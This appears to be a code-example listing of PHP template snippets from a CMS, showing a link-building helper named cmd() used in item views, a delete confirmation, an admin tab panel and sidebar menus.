	$img = cmd($img, "exec=show&node_id=".$object->getNodeId());
}

?>
<div class="show_item">
	<table cellspacing="0" style="width: 100%; height: 100%;">
		<tr>
			<td>
			</td>
		</tr>
		<tr>
			<td>
				<?php 
echo $img;
?>
			</td>
Example #25
0
<div class="show_line">
	<div class="show_line_logo">
		<?php 
echo cmd(img(geticon($object->getIcon(), 64)), "exec=show&node_id=" . $object->getNodeId());
?>
	</div>
	<div class="show_line_main_right"></div>
	<div class="show_line_main">
		<div class="show_line_main_top">
			<div class="show_line_main_top_inner">
				<span class="show_line_main_top_inner_title">
					<?php 
echo cmd($object->getName(), "exec=show&node_id=" . $object->getNodeId());
?>
				</span>
			</div>
		</div>

		<div class="show_line_main_bottom">
		<?php 
echo DownloadSize(@filesize($object->getVarValue("file")));
?>
		<a href="?file=<?php 
echo $object->resolveVarName("file");
?>
&download=1"><?php 
echo img(geticon("download")) . " " . ucf(i18n("download"));
?>
</a><br/>
		<?php 
echo $object->getVarShow("description");
Example #26
0
function id($numeric = false)
{
    return cmd(2, $numeric);
}
Example #27
0
<?
echo compiletpl("scripts/show/tabs", array("view"=>"delete"), $object);
echo compiletpl("title/big", array("left"=>img(geticon($object->getIcon()))."&nbsp;".$object->getName()), $object);
?>
<div class="main">
	<center>
		<?php 
echo "<span style=\"font-weight: bold; font-size: 16px;\">" . ucf(i18n("are you sure you want to delete")) . " \"" . $object->getName() . "\"?</span>";
?>
		<br/>
		<table class="invisible" width="50%">
			<tr>
				<td align="center">
					<?php 
echo cmd(img(geticon("yes", 32)) . "<br/>" . ucf(i18n("yes")), "exec=delete&action=delete&node_id=" . $object->getNodeId());
?>
				</td>
				<td align="center">
					<?php 
echo cmd(img(geticon("no", 32)) . "<br/>" . ucf(i18n("no")), "exec=show&node_id=" . $object->getNodeId());
?>
				</td>
			</tr>
		</table>
	</center>
</div>
echo ucf(i18n("login"));
?>
					</div>
					<div id="login_container" class="container">
						<?php 
echo $_SESSION['murrix']['system']->createZone("zone_login");
?>
					</div>
					
					<div class="title">
						<a class="right" href="javascript:void(null)" onclick="toggleSidebarContainer('calendar')"><?php 
echo img(imgpath("1downarrow.png"), "", "", "calendar_arrow");
?>
</a>
						<?php 
echo cmd(ucf(i18n("calendar")), "exec=calendar", "sidebar");
?>
					</div>
					<div id="calendar_container" class="container">
						<div class="container">
							<?php 
echo compiletpl("scripts/calendar/small_month", array("firstday" => strtotime(date("Y-m") . "-01")));
?>
						</div>
					</div>
					
					<?php 
echo $_SESSION['murrix']['system']->createZone("zone_poll");
?>
					
					<?php 
Example #29
0
		$class = "tab";
		
	$text .= cmd($titel, "exec=new&node_id=".$object->getNodeId(), array("onmouseup"=>"document.getElementById('adminpanel').style.display='none'", "class"=>$class));


	$titel = img(geticon("menu"))."&nbsp;".ucf(i18n("import"));
	
	if ($args['view'] == "import")
	{
		$current = $titel;
		$class = "tab_selected";
	}
	else
		$class = "tab";
		
	$text .= cmd($titel, "exec=import&node_id=".$object->getNodeId(), array("onmouseup"=>"document.getElementById('adminpanel').style.display='none'", "class"=>$class));
}

if (!empty($text))
{
?>
	<div class="adminpanel_wrapper">
		<div class="adminpanel_button_wrapper">
			<div class="adminpanel_button"  onmouseover="document.getElementById('adminpanel').style.display='block'">
				<?php 
echo $current;
?>
			</div>
		</div>
		<div id="adminpanel" class="adminpanel" onmouseover="document.getElementById('adminpanel').style.display='block'" onmouseout="document.getElementById('adminpanel').style.display='none'">
			<?php 
Example #30
0
</div>
<div class="menu_login">
	<center>
		<div style="display: table-cell; text-align: left">
		<?
			$home_id = $_SESSION['murrix']['user']->home_id;
				
			if ($home_id > 0)
			{
				$home = new mObject($home_id);
				echo cmd(img(geticon("home"))."&nbsp;".ucf($home->getName()), "exec=show&node_id=$home_id")."<br/>";
			}
			
			$groups = $_SESSION['murrix']['user']->getGroups();
			
			foreach ($groups as $group_name)
			{
				$group = new mGroup();
				$group->setByName($group_name);
				$home_id = $group->home_id;
				
				if ($home_id > 0)
				{
					$home = new mObject($home_id);
					echo cmd(img(geticon($home->getIcon()))."&nbsp;".ucf($home->getName()), "exec=show&node_id=$home_id")."<br/>";
				}
			}
		?>
		</div>
	</center>
</div>